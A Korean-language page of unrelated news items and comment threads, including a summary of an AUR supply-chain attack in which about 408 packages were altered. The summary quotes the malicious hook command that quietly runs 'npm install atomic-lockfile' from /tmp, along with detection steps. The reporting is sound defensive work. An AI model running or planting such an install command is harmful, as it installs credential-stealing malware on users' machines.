Anthropic에서 일했지만, 이 회사를 긍정적 사례로 들 때 구조 자체 에 많은 공을 돌리지는 않겠음 실제로는 특정 사람들, 특히 초기 팀 상당수와 연구·인프라 쪽 채용, 그리고 그 내부의 가까운 개인적 관계가 중요했다고 봄. 그 역학과 가치에 반하는 일에 굴복하지 않으려는 태도가 일부 비정상적으로 좋은 결정과 결과를 만들었음 [1]. 회사의 여러 부분은 정기적으로 “부패”하고, 대형 기술기업 문화를 들여오지 않고 확장하기는 어려움. 때로는 개별 기여자가 문제를 올리고, Dario가 개별 기여자와 직접 이야기한 뒤 흔드는 방식으로 방어가 이뤄졌음. 하지만 이 과정은 시간이 걸리고 완전한 되돌림으로 이어지지도 않음. 나쁘거나 맞지 않는 채용은 파장을 남김. 여전히 가치에 의해 움직이는 사람들이 많지만, 확장 동학은 다른 조직과 비슷하게 진화하는 듯하며 단지 직원 수와 매출 규모가 더 큰 상태임. Anthropic에서 일하는 특정 사람들은 신뢰하지만, 조직으로서의 Anthropic은 신뢰하지 않음. 구조와 무관하게 변하기 쉬운 조직임 [1]: https://news.ycombinator.com/item?id=47174423
아직 새 책은 읽지 않았지만, 지난 20년 정도의 Disney 궤적 에 대한 견해가 궁금함 Bob Iger의 행동 때문에 Walt의 원래 비전에서 꽤 멀어진 것처럼 보임. 창의성으로 움직이던 회사를 지식재산을 노천채굴하듯 캐내 가치를 추출하는 기계로 바꿨음. Pixar, Lucasfilm, Marvel, Fox 같은 IP를 산 것은 첫날부터 활용 가능한 기존 브랜드를 얻는 위험 완화 전략이었지만, 그렇게 하면서 큰 창의적 베팅으로 세워진 Disney의 영혼을 죽였다고 봄
The Lean Startup을 재미있게 읽었음 “우리 업계”라는 표현을 썼는데, 개인적으로는 “기술 업계”라는 개념을 아주 좋아하지 않음. 많은 스타트업이 소프트웨어·컴퓨팅이 아니고, 새 기술도 꼭 그렇지 않기 때문임. 그래도 사람들이 무슨 뜻으로 쓰는지는 이해함. Costco와 Patagonia 같은 예시는 기술 업계 회사가 아닌데, 새 책에는 기술 업계에서 독점을 밀어붙이는 네트워크 효과 앞에서도 부패하지 않는 방법을 보여주는 사례가 있는지 궁금함. 또는 시장 권력을 분산하기 위해 네트워크 효과를 연결된 제휴사들 사이에 나누는 실용적 방법을 본 적이 있는지도 궁금함
The Lean Startup의 팬이고, 예전에 만든 몇 개 스타트업에도 영향을 줬으며 성공적인 엑싯도 했음 최근 몇 년간 Silicon Valley가 부패하는 모습을 보며 새 회사를 시작할 동기와 열정이 줄었지만, 새 책이 올바른 윤리로 스타트업을 시작하는 일이 가능하다는 불씨를 되살려주길 기대함. OpenAI가 비영리에서 이상한 구조를 거쳐 사실상 평범한 영리회사처럼 보이는 방향으로 간 부패 경로 를 연구해 본 적이 있는지, 그리고 그 복잡한 회사 구조에서 얻을 교훈이 무엇인지 궁금함
AI 시대에 SaaS를 부트스트랩 하는 것에 대한 생각이 궁금함 한 사람이 더 많은 것을 활용할 수 있으니 더 관리 가능해진 건지, 아니면 자원 요구와 고객 기대가 커져 더 어려워진 건지 궁금함. 오늘날 “부패하지 않는” 회사를 시작하는 데 이것이 어떻게 작용하는지도 궁금함
발행일: 2026-06-12 14:52 (금)
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AI AI 활용 경험, 포트폴리오에 어떻게 담아야 할까
주민등록번호와 온라인상에서 특정 개인을 식별하기 위한 전자정보인 연계정보(CI) 분리 보관 시행이 앞당겨진다.
방송미디어통신위원회는 12일 전체회의를 열어 내년 5월1일 시행 예정이던 주민번호와 연계정보의 분리 보관 시행일을 내년 1월1일로 4개월 앞당기기 위해 관련 고시 개정안을 보고했다.
주민번호와 CI를 별도로 보관해야 한다는 데 대해 기술적인 인프라 재구축과 검증 등에 준비 기간이 필요하다는 사업자 요청에 따라 시행일을 2027년 5월1일로 유예했다.
다만 지난해 국회 국정감사에서 롯데카드가 주민번호, CI를 동시에 유출하면서 유예기간이 과도하다는 지적이 쏟아졌고, 방미통위는 추가 피해 위험에 대한 선제적 대응을 위해 고시 개정에 추진했다.
통신 3사 이용자보호 잘했어도 과징금 감경 인센티브 못받아 2026.06.12 ICT 양부처, AI·디지털 규제 맞손...미디어발전위 설치 적극 협력 2026.06.10 "불법촬영 이미지도 유통방지 조치 취해야" 2026.06.04 방미통위 "선거방송 수어통역사 가이드라인 개정 검토” 2026.06.02
방미통위는 CI와 주민번호 분리 보관에 대한 조기 시행을 담은 고시 개정안에 대해 행정예고 등을 통한 의견수렴, 관계부처 협의, 규제심사 등을 거쳐 내년 1월1일부터 본격 시행할 예정이다.
최수영 위원은 “국민적인 관심사가 큰 사안으로 고시 개정 추진은 당연한 것”이라며 “시행일 단축이 6개월 정도라는데 사업자의 준비사항도 꼼꼼하게 살펴 개인정보보호와 사업자의 부담 사이에서 균형있는 제도를 만들어야 한다”고 말했다.
전기통신사업자 이용자보호 평균 873점…전년比 13점 하락
2025년 전기통신사업자 이용자보호 업무평가결과. [사진: 방미통위]
[디지털투데이 손슬기 기자] 방송미디어통신위원회는 지난해 전기통신사업자 47곳 이용자보호 업무를 평가한 결과 전반적인 수준이 전년 대비 하락하거나 정체된 것으로 나타났다고 12일 밝혔다.
방미통위는 이날 '2026년 제17차 전체회의'를 열고 '2025년도 전기통신사업자 이용자보호 업무 평가결과'를 심의·의결했다. 이번 평가는 '전기통신사업법'에 따라 매년 실시하며 결과를 공개한다.
평가 대상은 기간통신·부가통신 등 12개 서비스 분야 총 47개사다. 유니컴즈(알뜰폰), 테무(쇼핑), 쿠팡이츠(배달), 티빙·쿠팡플레이(OTT), 치지직(개인방송)이 신규로 포함됐다.
시범평가 대상 8개사를 제외한 39개사 전체 평균은 873.3점으로 전년 대비 13.4점 하락했다.
대형 기간통신사업자들 등급은 전반적으로 내려갔다. 이동통신 분야에서 SK텔레콤은 1등급 하락했고 KT는 유지, LG유플러스는 1등급 올랐다. 초고속인터넷 분야에서는 SK브로드밴드, SK텔레콤, ktHCN이 각각 1등급 하락했다.
부가통신사업자는 전년과 유사한 수준이었으나, 불법정보 유통 방지와 허위·과장 상품정보로 인한 피해구제 노력이 미흡한 것으로 평가됐다. 소상공인·크리에이터·라이더 등 이용사업자 보호업무 평가가 새로 도입됐으나 관련 지표 점수는 대체로 저조했다.
온라인관계망(SNS) 분야에서는 인스타그램이 처음으로 본평가에 포함됐지만 페이스북과 함께 미흡 등급을 받았다. 넷플릭스코리아와 KT스카이라이프는 전문 컨설팅에 적극 참여해 2등급 상승, 양호 등급을 받았다.
이용자 보호 우수사례로는 ktHCN의 '원콜 고객상담', KT스카이라이프 명의도용·부정가입 방지 정책, 네이버 위조 감정 프로그램 확대 등 3건이 선정됐다.
방미통위는 2025년 주요 통신사들의 침해사고 이슈를 감안해 우수 등급 이상 사업자에게 부여하는 과징금 감경 혜택을 부여하지 않거나 사실관계 확인 시까지 유예하기로 했다.
김종철 방미통위원장은 "이용자 피해 양상이 복잡하고 광범위해지고 있어 사업자가 선제적인 피해예방 체계를 구축하는 데 전력을 다해야 한다"고 말했다. 이어 "방미통위도 정교화된 평가지표 개발과 맞춤형 컨설팅을 통해 사업자의 이용자 보호 역량이 실질적으로 높아질 수 있도록 최선을 다할 것"이라고 덧붙였다.
키워드 #방미통위 #전기통신사업자 #이통3사 #SNS #OTT #인스타그램
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Show GN: MindMuse - 당신의 마음을 보여드립니다 (themindmuse.ai)
저는 마음의 병을 가지고 있어서 지속적으로 제 마음 상태를 모니터링해야 합니다. 하지만 제 마음 상태를 제 스스로 알기가 어려울 때가 많습니다. 그래서 일기를 쓰면 AI가 마음 상태를 분석해 주는 웹서비스를 만들었습니다. 마음을 머리 - 사고, 가슴 - 감정, 배 - 본능/욕구 의 세 영역으로 나누어서 점수를 매깁니다. 여기에 다른 지표들도 추가로 산정합니다. 날마다 나온 점수들은 주단위/월단위의 그래프로 추이를 파악할 수 있습니다. 이 그래프를 진료나 상담에 보조 자료로 활용할 수 있습니다. 제가 필요해서 만든 서비스라 지금은 사용자가 저 한 명뿐이지만 필요한 분들과 닿아서 함께 발전시켜나가고 싶습니다.
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▲ nvrshowfear 12분전 [-] 개인이 만든 느낌은 아닌데요..? 답변달기 ▲ tobwithu 9분전 [-] 회사 프로젝트이긴 한데 저 혼자 만들었습니다. 답변달기
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KT가 26년간 한국 축구 국가대표팀 공식 파트너로 활동하며 쌓아온 응원 문화 조성 노하우를 바탕으로 '2026 국제축구연맹(FIFA) 북중미월드컵' 광화문 응원 열기를 이끈다.
KT는 KT광화문빌딩 웨스트에 설치된 2개의 대형 미디어월을 통해 이날 오전 11시부터 펼쳐진 한국 축구 국가대표팀 첫 경기를 시작으로 이달 19·25일 예선전을 생중계 한다. 우리 국가대표팀이 32강 진출할 경우 추가 중계도 고려한다는 계획이다.
이동재 KT 브랜드 담당 스포츠마케팅팀 팀장은 12일 오전 열린 미디어 브리핑을 통해 "지난 26년간 한국 축구 국가대표팀의 공식 파트너로서, 국가대표 축구팀의 도전과 국민의 응원의 순간을 함께해 왔다"고 밝혔다.
이 팀장에 따르면, KT는 2001년부터 대한민국 축구국가대표팀 공식파트너로 활동하며 2002년 한일 월드컵 당시 '코리아 팀 파이팅' 캠페인 참석을 기점으로 매 월드컵과 국가대표 경기마다 응원 현장 운영을 지원해 왔다.
2006년 독일 월드컵에선 붉은악마 공식 응원가 '레즈 고 투게더' 등을 제작했으며, 붉은악마와 함께 광화문 거리 응원을 운영했다.
2010년 남아공 월드컵에서는 원정 첫 16강 진출의 순간을 국민들과 함께했고, 2018년 러시아 월드컵에선 5G 기반의 안정적인 중계 환경 지원에 나서는 등 26년간 응원 환경 조성에 힘썼다.
KT는 이번 북중미월드컵을 맞아 KT광화문빌딩 웨스트 2층 전시공간 온마루에서 월드컵 기념 팝업형 전시 행사를 진행한다. 월요일부터 토요일까지, 오전 10시부터 오후 6시까지 운영한다. 단, 일요일은 휴무다.
행사장에는 'AX 로봇 드로잉', 'AX 포토 어시스트' 등 AI 기반 체험형 프로그램과 한국 축구의 역사를 돌아볼 수 있는 전시 콘텐츠가 조성됐다.
관람객이 선수에게 보내는 응원 메시지를 입력하면 메시지가 대형 미디어 스크린에 아트월 형태로 구현되는 '응원 메시지 미디어월'도 마련됐다.
월드컵 D-1...KT, 광화문 통신 트래픽 폭주 이렇게 막는다 2026.06.11 KT, 월드컵 인파 밀집지에 네트워크 운영 방안 마련 2026.06.09 KT, 광화문 '온마루'서 월드컵 팝업 연다 2026.06.08 광화문광장서 월드컵 생중계...KT 미디어월 활용 2026.06.07
이동재 팀장은 "앞으로도 한국 축구의 발전과 국가대표팀의 승리를 위해 사명감을 가지고 마지막까지 최선을 다해 지원하겠다"고 강조했다.
우리 국가 대표팀은 오늘 오전 11시(한국시간)부터 시작된 북중미 월드컵 조별리그 A조 1차전 체코와의 경기에서 2대 1 역전승을 거뒀다.
샤오미, 터미널 기반 AI 코딩툴 '미모 코드' 오픈소스로 공개…"클로드 코드 능가" 주장
[디지털투데이 황치규 기자]샤오미 미모(MiMo) AI팀이 터미널 기반 AI 코딩 도구 '미모 코드(MiMo Code) V0.1.0'을 오픈소스로 공개했다고 벤처비트가 11일(현지시간) 보도했다.
샤오미에 따르면 미모 코드는 핵심 에이전틱 코딩 벤치마크에서 앤트로픽 클로드 코드(Claude Code)를 앞서는 역량을 보였다. 특히 200단계 이상 다단계 작업에서 강점을 보였다.
샤오미는 오픈소스 에이전트 오픈코드(OpenCode)를 포크한 후 자체 메모리 구조와 워크플로 모드를 추가해 미모 코드를 개발했다고 설명했다.
미모 코드에서 핵심은 세션들 간 메모리 시스템이다. 기존 AI 코딩 에이전트들은 작업이 길어지면 컨텍스트 창이 차면서 초기 결정과 작업 상태를가 사라진다.
미모 코드는 별도 '체크포인트 작성' 서브 에이전트를 통해 이같은 문제를 해결한다. 메인 에이전트가 코딩에 집중하는 동안 서브 에이전트는 결정 사항과 진행 상황을 실시간으로 기록하고 컨텍스트 창이 한계에 차면 이 기록을 바탕으로 환경을 복원해 작업 흐름을 잃지 않게 해준다.
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수백 개 AUR 패키지가 정보 탈취 악성코드 공격을 받음 (lists.archlinux.org)
AUR(Arch User Repository)에 다수의 악성 커밋 이 삽입돼, 패키지 설치 과정에서 npm install atomic-lockfile 을 실행하도록 변조된 공급망 공격 발생 읽기 전용 미러 검색 결과, 약 408개 패키지 의 PKGBUILD· .install · .hook 파일에서 동일한 악성 명령 확인 악성 커밋은 직전 커밋의 이름·이메일을 도용 해 정상 메인테이너를 사칭하는 커밋 위조 방식이며, 계정 탈취 여부와 별개 Arch 측은 악성 커밋 초기화·삭제 및 계정 차단 을 진행 중이며, 추가 악성 패키지는 하나의 스레드로 모아 신고 요청 커뮤니티 구성원들이 개별 패키지 커밋을 잇따라 신고하며 협력적 대응 진행, AUR 패키지 생태계 전반에 영향을 미치는 대규모 사안임 사건 개요 및 대응 요청 AUR에 악성 커밋이 대량 삽입된 정황이 공유되며, 악성 커밋 초기화/삭제 및 계정 차단 작업이 진행 중 추가 악성 패키지 발견 시, 동일 스레드로 모으기 위해 이 이메일에 회신 형태로 신고 해 달라는 요청 조정 담당자가 접수된 신고를 모두 확인했다고 회신했으며, 신고에 시간을 들인 참여자들에게 감사 표명 악성 코드 패턴 — atomic-lockfile 변조된 패키지들은 공통적으로 npm install atomic-lockfile 을 실행하며, 뒤에 ora , fast-glob , glob , minimist , axios , commander , execa , chalk , debug 등 추가 npm 패키지명이 함께 붙음 악성 명령이 위치한 파일 유형 *-deps.install 형태의 설치 스크립트 *.install 패키지 설치 스크립트 *.hook 파일 — 예: Exec = /bin/sh -c 'cd /tmp && npm install atomic-lockfile ... 2>/dev/null; exit 0' 형태로 /tmp 에서 실행 후 오류를 숨기고 종료 일부는 install.sh 등 관련 파일에 포함 신규 생성된 악성 패키지 사례로 exodus-wallet-bin 이 보고되었으며, 첫 커밋 기준 약 4시간 전 생성된 신생 패키지로 확인 탐지 방법 및 영향 범위 읽기 전용 미러를 직접 점검하는 방식으로 탐지 git clone https://github.com/archlinux/aur.git 후, 모든 ref를 순회하며 git grep 'atomic-lockfile' 수행 결과로 atomic-lockfile 을 설치하는 약 408개 패키지 의 긴 목록 확보, 자동 정리(cleanup) 작업에 활용 가능 영향받은 것으로 거론된 패키지 예시 runescape-launcher , oracle-bin , tesseract-gui , python-starsessions , bitcoin-core-git , apple-music-desktop , exodus-wallet-bin , anythingllm-appimage , arm-linux-gnueabihf-binutils 등 cutefish-* , python2-* , python-* 계열 등 광범위한 패키지군 포함 대량 개별 신고로 메일이 많아지자, 여러 건을 한 메일로 묶어 보내는 방식이 권장되었고, IRC에서 통합 패키지 목록이 별도 공유됨 사칭/위조 방식 특정 계정( arojas ) 관련 패키지에 대해 계정 탈취인지 커밋 위조인지 에 대한 의문이 제기됨 이에 대해 악성 커밋은 직전 커밋의 이름과 이메일을 사칭(impersonate) 하는 방식이라고 확인 — 즉 커밋 메타데이터 위조 동일 사용자의 다른 패키지들은 이미 수정 완료된 경우도 보고됨 대응 현황 신고된 패키지 커밋들이 순차적으로 처리되었고, 일부 항목은 수정 완료(Done) 회신으로 확인 추가 신고가 이어지자 조정 담당자가 접수분을 일괄 확인, 진행 중인 차단·초기화 작업 과 병행 다수 참여자가 커밋 링크와 함께 개별 패키지를 신고하며 커뮤니티 주도 협력 대응 형태로 진행
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▲ GN⁺ 5시간전 [-] Lobste.rs 의견들 이 일로 커뮤니티의 익명·미검증 기여 에 남아 있던 신뢰가 거의 끝날 것 같음 신뢰가 실시간으로 깎여 나가는 걸 보는 느낌임 솔직히 말하면 좋은 일이고, 이미 늦었음. 우리 업계는 이제 정신 차려야 함 컴퓨터에는 개인적이고 민감한 데이터 를 너무 많이 맡기고 있고, 현대 생활의 중심이 됐음. 개인용 컴퓨터가 감염되면 그건 정말 재앙적인 사건이고, 운이 좋으면 해커가 굳이 나를 콕 집어 괴롭힐 만큼 내가 흥미롭지 않기를 바라는 정도임 그런데도 우리는 어째서인지 아무 랜덤 프로그램이나 전체 권한 으로 실행하는 걸 정상화해 왔고[1], 그게 나쁜 생각으로 드러날 때마다 놀란 척함 [1] 현재 사용자 권한 기준임. 대부분의 설정에서 root는 사실상 의미가 거의 없음 KDE는 일주일 전 에 자체 빌드 파이프라인에서 AUR 를 제거했는데, 아마 이 공격의 이전 버전에 대한 대응이었던 것 같음 AUR 패키지 검토에 신뢰망 모델 을 적용하고, 최근 업데이트에는 냉각 기간을 결합하면 흥미로울 듯함 AUR 패키지를 설치하거나 업데이트할 때 이런 선택지를 주는 시스템을 상상해 봄: 최근 업데이트된 패키지라면 1주일 식을 때까지 기다리기, 직접 몇 분 들여 패키지를 검토하고 평판에 연결된 서명된 검토를 남기기, 충분한 신뢰가 쌓인 여러 다른 사람의 서명된 검토에 의존하기 냉각 기간은 모든 패키지를 함께 최신으로 유지한다는 Arch 정책과 기술적으로 맞지 않을 수도 있음. 하지만 AUR 패키지는 어차피 공식 지원 대상이 아니기도 함 몇 시간이 지났는데도 NPM 패키지 가 아직 내려가지 않았음: https://www.npmjs.com/package/atomic-lockfile 설치된 패키지가 영향을 받았는지 확인하려면 aur_pkg_list.txt 파일과 함께 이 작은 스크립트를 쓰면 됨 installed_pkgs="$(yay -Qq)"; grep refs aur_pkg_list.txt | awk -F/ '{print $4}' | tr -d ')' \ | while read -r pkg; do \ echo "$installed_pkgs" | grep "^$pkg\$"; \ done 세미콜론을 넣어뒀으니 한 줄 명령으로 만들기 쉬움 :-) 부분 문자열까지 잡는 것 같음. 예를 들어 ktea 가 kteatime 에도 매칭됨 이 버전은 동작하는 듯함 grep refs aur_pkg_list.txt | awk -F/ '{print $4}' | tr -d ')' | while read -r pkg; do echo "$installed_pkgs" | grep "^$pkg\$"; done 이 일이 꽤 전부터 진행됐을 수도 있음. 18일 전 이 이메일 을 보면 비슷한 악성 페이로드 가 쓰인 듯한데, 악성 커밋은 저장소에서 아예 제거된 것 같음 관련해서, 인기 있는 Linux 배포판들의 공급망 보안 태세 를 잘 비교한 자료가 있을까? 지금까지 찾은 글 대부분은 은근한 마케팅이거나 AI가 만든 허접한 글처럼 보였음. 그냥 직접 조사해야 할지도 모르겠음 우울한 부분은 커뮤니티 개발의 이상을 좋아하면서도, 공급망 걱정 때문에 폐쇄적인 선택지나 심지어 독점 소프트웨어 쪽을 더 자세히 보게 된다는 점임 답변달기
Lobste.rs 의견들 이 일로 커뮤니티의 익명·미검증 기여 에 남아 있던 신뢰가 거의 끝날 것 같음 신뢰가 실시간으로 깎여 나가는 걸 보는 느낌임 솔직히 말하면 좋은 일이고, 이미 늦었음. 우리 업계는 이제 정신 차려야 함 컴퓨터에는 개인적이고 민감한 데이터 를 너무 많이 맡기고 있고, 현대 생활의 중심이 됐음. 개인용 컴퓨터가 감염되면 그건 정말 재앙적인 사건이고, 운이 좋으면 해커가 굳이 나를 콕 집어 괴롭힐 만큼 내가 흥미롭지 않기를 바라는 정도임 그런데도 우리는 어째서인지 아무 랜덤 프로그램이나 전체 권한 으로 실행하는 걸 정상화해 왔고[1], 그게 나쁜 생각으로 드러날 때마다 놀란 척함 [1] 현재 사용자 권한 기준임. 대부분의 설정에서 root는 사실상 의미가 거의 없음 KDE는 일주일 전 에 자체 빌드 파이프라인에서 AUR 를 제거했는데, 아마 이 공격의 이전 버전에 대한 대응이었던 것 같음 AUR 패키지 검토에 신뢰망 모델 을 적용하고, 최근 업데이트에는 냉각 기간을 결합하면 흥미로울 듯함 AUR 패키지를 설치하거나 업데이트할 때 이런 선택지를 주는 시스템을 상상해 봄: 최근 업데이트된 패키지라면 1주일 식을 때까지 기다리기, 직접 몇 분 들여 패키지를 검토하고 평판에 연결된 서명된 검토를 남기기, 충분한 신뢰가 쌓인 여러 다른 사람의 서명된 검토에 의존하기 냉각 기간은 모든 패키지를 함께 최신으로 유지한다는 Arch 정책과 기술적으로 맞지 않을 수도 있음. 하지만 AUR 패키지는 어차피 공식 지원 대상이 아니기도 함 몇 시간이 지났는데도 NPM 패키지 가 아직 내려가지 않았음: https://www.npmjs.com/package/atomic-lockfile 설치된 패키지가 영향을 받았는지 확인하려면 aur_pkg_list.txt 파일과 함께 이 작은 스크립트를 쓰면 됨 installed_pkgs="$(yay -Qq)"; grep refs aur_pkg_list.txt | awk -F/ '{print $4}' | tr -d ')' \ | while read -r pkg; do \ echo "$installed_pkgs" | grep "^$pkg\$"; \ done 세미콜론을 넣어뒀으니 한 줄 명령으로 만들기 쉬움 :-) 부분 문자열까지 잡는 것 같음. 예를 들어 ktea 가 kteatime 에도 매칭됨 이 버전은 동작하는 듯함 grep refs aur_pkg_list.txt | awk -F/ '{print $4}' | tr -d ')' | while read -r pkg; do echo "$installed_pkgs" | grep "^$pkg\$"; done 이 일이 꽤 전부터 진행됐을 수도 있음. 18일 전 이 이메일 을 보면 비슷한 악성 페이로드 가 쓰인 듯한데, 악성 커밋은 저장소에서 아예 제거된 것 같음 관련해서, 인기 있는 Linux 배포판들의 공급망 보안 태세 를 잘 비교한 자료가 있을까? 지금까지 찾은 글 대부분은 은근한 마케팅이거나 AI가 만든 허접한 글처럼 보였음. 그냥 직접 조사해야 할지도 모르겠음 우울한 부분은 커뮤니티 개발의 이상을 좋아하면서도, 공급망 걱정 때문에 폐쇄적인 선택지나 심지어 독점 소프트웨어 쪽을 더 자세히 보게 된다는 점임
이 일로 커뮤니티의 익명·미검증 기여 에 남아 있던 신뢰가 거의 끝날 것 같음 신뢰가 실시간으로 깎여 나가는 걸 보는 느낌임
몇 시간이 지났는데도 NPM 패키지 가 아직 내려가지 않았음: https://www.npmjs.com/package/atomic-lockfile
설치된 패키지가 영향을 받았는지 확인하려면 aur_pkg_list.txt 파일과 함께 이 작은 스크립트를 쓰면 됨
세미콜론을 넣어뒀으니 한 줄 명령으로 만들기 쉬움 :-)
부분 문자열까지 잡는 것 같음. 예를 들어 ktea 가 kteatime 에도 매칭됨 이 버전은 동작하는 듯함
이 일이 꽤 전부터 진행됐을 수도 있음. 18일 전 이 이메일 을 보면 비슷한 악성 페이로드 가 쓰인 듯한데, 악성 커밋은 저장소에서 아예 제거된 것 같음
관련해서, 인기 있는 Linux 배포판들의 공급망 보안 태세 를 잘 비교한 자료가 있을까? 지금까지 찾은 글 대부분은 은근한 마케팅이거나 AI가 만든 허접한 글처럼 보였음. 그냥 직접 조사해야 할지도 모르겠음 우울한 부분은 커뮤니티 개발의 이상을 좋아하면서도, 공급망 걱정 때문에 폐쇄적인 선택지나 심지어 독점 소프트웨어 쪽을 더 자세히 보게 된다는 점임
발행일: 2026-06-12 13:39 (금)
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픽셀소프트웨어(대표 강성무) ‘보이스파크’가 최근 열린 '제1회 백마강 PGK 파크골프킹 대회'에서 인공지능(AI) 콜봇 시스템을 서비스 했다고 12일 밝혔다.
보이스파크는 전국 파크골프장의 예약, 회원관리, 결제 시스템을 총망라한 통합 플랫폼이다. 기본 구장 운영을 넘어 대회 접수 및 경기 진행 지원 등 파크골프장 환경에서 파생되는 다양한 특화 서비스를 아우르는 IT 솔루션이다.
이번 대회에서 가장 큰 호응을 얻은 것은 AI 콜봇이다. 픽셀소프트웨어는 파크골프 주 이용층인 시니어 세대의 다양한 음성적 특성(전국 지역별 사투리, 고음·저음의 음색 변화, 말투, 발화 속도 등)을 사전에 면밀히 분석했다. 이런 분석 데이터를 기반으로 시니어 맞춤형 응대에 특화된 딥러닝 기반의 AI 콜봇 기술을 대회 운영 시스템에 도입했다.
이를 통해 유선 전화 사용에 친숙한 시니어 참가자들이 기존의 접수 방식과 더불어, AI 콜봇과 자연스럽게 대화하며 앱 다운로드부터 예약접수에 이르는 전 과정을 손쉽게 처리할 수 있도록 지원한다.
보이스파크는 이번 대회를 통해 특정 기능에 국한되지 않고, 파크골프장 전반의 인프라를 기반으로 확장되는 다목적 특화 플랫폼으로서의 가치를 증명했다. 기존 파크골프장의 경우 시설관리공단 시스템이나 자체 서버 구축을 통해 운영되는 경우가 많아 전문적인 대회 운영 지원이 불가하고, 동시간대 예약이 폭주할 경우 빈번하게 시스템이 먹통이 되는 한계가 있었다.
반면, 보이스파크는 구장 및 대회 운영에 최적화된 시스템으로 이러한 고질적인 문제를 해결했다. 단일 통합 ID를 기반으로 PC, 모바일, 키오스크 등 다채로운 채널을 연동하여 원스톱 예약 및 결제가 가능한 환경을 구축했다. 특히, 지난 6월 1일 대회 접수 시작 첫날 오전 동시간대에 수천 명 접수자가 몰렸지만, 서버 장애나 지연 없이 대규모 트래픽을 소화했다.
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참가 신청부터 접수∙예약 및 스코어 집계까지 모든 과정을 하나의 플랫폼에서 투명하고 원활하게 처리함으로써 대회 주최 측과 참가자 모두의 편의성을 극대화했다.
강성무 픽셀소프트웨어 대표는 "전국 지자체 구장 및 관련 협회에 혁신적인 시스템을 제공하여 파크골프 산업의 디지털 대전환을 선도하겠다"고 밝혔다.
XRP 상위 보유자 문턱 낮아졌다…2155개 보유하면 진입
XRP 상위 10% 보유 지갑 기준이 2155.59 XRP로 낮아졌다. 최근 반등에도 10달러 전망은 여전히 비현실적 시나리오로 제시됐다.
[디지털투데이 이윤서 기자] XRP 보유량 기준 상위 10% 지갑에 들기 위한 기준이 2155.59 XRP까지 낮아졌다.
10일(이하 현지시간) 블록체인 매체 더 크립토 베이직에 따르면 최근 XRP 가격은 횡보세를 보이고 있지만, 네트워크 내 상위 보유자 구간에 진입하는 데 필요한 물량은 계속 줄고 있다.
XRP 원장에는 현재 791만개 계정이 있다. 이 가운데 2155.59 XRP 이상을 보유한 지갑은 79만900개에 그친다. XRP 가격 1.11달러 기준으로 보면 상위 10% 진입에 필요한 금액은 약 2392달러다. 잭 렉터와 아담 등 XRP 커뮤니티 인사들도 이 기준 하락에 주목했다.
상위 구간으로 갈수록 기준은 빠르게 높아진다. 상위 5%에 들려면 약 7507 XRP, 상위 1%는 4만5002 XRP가 필요하다. 상위 0.1% 진입선은 27만9000 XRP를 넘는다. 각 기준을 충족한 지갑 수는 상위 5% 39만5450개, 상위 1% 7만9090개, 상위 0.1% 7909개다.
최상위권 문턱은 더 높다. 383만 XRP 이상을 보유한 지갑만 전체 상위 0.01%에 해당한다. 이 구간에 들어간 지갑은 단 791개로, 전체 계정 수 대비 소수 지갑에 보유량이 집중된 구조가 다시 확인된 셈이다.
이 기준은 올해 2월과 비교해 전반적으로 낮아졌다. 당시 상위 10% 진입선은 약 2231 XRP였지만, 현재는 2155 XRP 수준으로 3.4% 내려왔다. 상위 5% 기준도 7745 XRP에서 7507 XRP로, 상위 1% 기준도 4만6426 XRP에서 4만5002 XRP로 낮아졌다.
이러한 변화의 배경에는 최근 암호화폐 약세가 자리하고 있다. XRP는 지난 6일 1.05달러까지 밀린 뒤 9일 1.18달러를 웃돌며 반등했고, 이후 1.11달러 안팎으로 되돌림이 나타났다. 투자자들 사이에서는 최근 약세를 매수 기회로 보고 리치리스트 내 순위를 높이려는 움직임도 거론된다.
일부 시장 분석가들은 XRP가 10달러를 향할 수 있다고 봤다. 이 전망이 현실화될 경우 현재 상위 10% 기준인 2155 XRP를 보유한 투자자의 자산 가치는 2만1550달러로 늘어나게 된다. 다만 이런 전망은 어디까지나 추정치로, 실제 상승이 보장된 것은 아니다.
다만 이러한 기준값 변화만으로 XRP의 향후 가격 방향을 단정하기는 어렵다. 상위 보유자 구간의 문턱이 낮아졌다는 점은 시장 관심을 끌 수 있지만, 실제 가격 흐름은 전체 암호화폐 시장 분위기와 수요 회복, 거래소 유입·유출 흐름 등에 따라 달라질 가능성이 크다.
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이런 현상은 콧수염을 비틀며 “불화를 퍼뜨리는” 외국 독재자보다, 우리가 보는 여러 추세를 훨씬 잘 설명해 준다고 오래전부터 생각해 왔음 물론 그런 세력과 트롤 공장 은 존재하지만, 보통은 자기들에게 즉각 이익이 되는 서사를 밀어붙임 관련 없어 보이는 내용을 퍼뜨릴 때도 실제 메시지를 전달하기 위한 소셜 미디어 영향력 을 쌓으려는 목적에 가깝다고 봄 러시아 트롤이 외국의 분열적 국내 이슈 양쪽을 모두 밀어주는 것도 “혼란 확산” 자체가 아니라, “러시아 지도자 제재는 무의미하고 역효과다”, “Assad는 가스를 쓰지 않았다”, “우크라이나 지도부는 실제 나치에게 잡혀 있다” 같은 본래 메시지를 밀어 넣기 위한 발판으로 보임
링크를 눌렀을 때 반전이 국가 지원 트롤 공장 이되, 우리가 보통 떠올리는 그 나라가 아닐 수도 있겠다고 생각했음 하지만 기사에는 “항상 국가 지원 형태의 전통적 외국 개입은 아닐 수 있다. 때로는 훨씬 더 진부하고, 어떤 면에서는 더 우울하다… 수천 마일 떨어진 사람들이 캐나다식 분노가 수익성 있는 틈새라는 걸 알아낸 것이다. 실제로 캐나다 정치에는 전혀 관심이 없을 수도 있다”라고 되어 있음 저소득 국가 사람들이 자신이 믿는 말도 아니고, 관심이나 지식조차 없는 주제로 분노를 퍼뜨려 약간의 돈을 벌고 플랫폼 소유자는 큰돈을 버는 구조를 표현의 자유 절대주의자 들이 어떻게 옹호할지 궁금함 돈 받고 하는 말을 정말 표현의 자유라고 부를 수 있는지도 의문임
미국이 EU 분열을 Orban, 독일 AfD, Farage 등을 통해 지원하는 만큼, EU도 캘리포니아 분리주의 에 돈을 대줬으면 좋겠음
Nieta Aqila가 올린 Meta 수익화 대시보드 스크린샷 하나에 따르면, Alberta Facebook 그룹에서 활동하던 한 달 동안 약 14달러를 벌었음 CBC가 몇 달러 벌려고 이러는 여성을 이 폭로의 주인공으로 세우고, 이를 가능하게 만든 Facebook 임원들 은 익명으로 남겨두는 게 참 용감함
캐나다에는 이를 막는 법이 없을 수 있지만, 일부 국가는 이런 행위를 국가에 해로운 전복 활동 으로 분류할 수 있음 보통 징역, 사업 수행권 박탈, 공직 취임권 박탈로 처벌됨
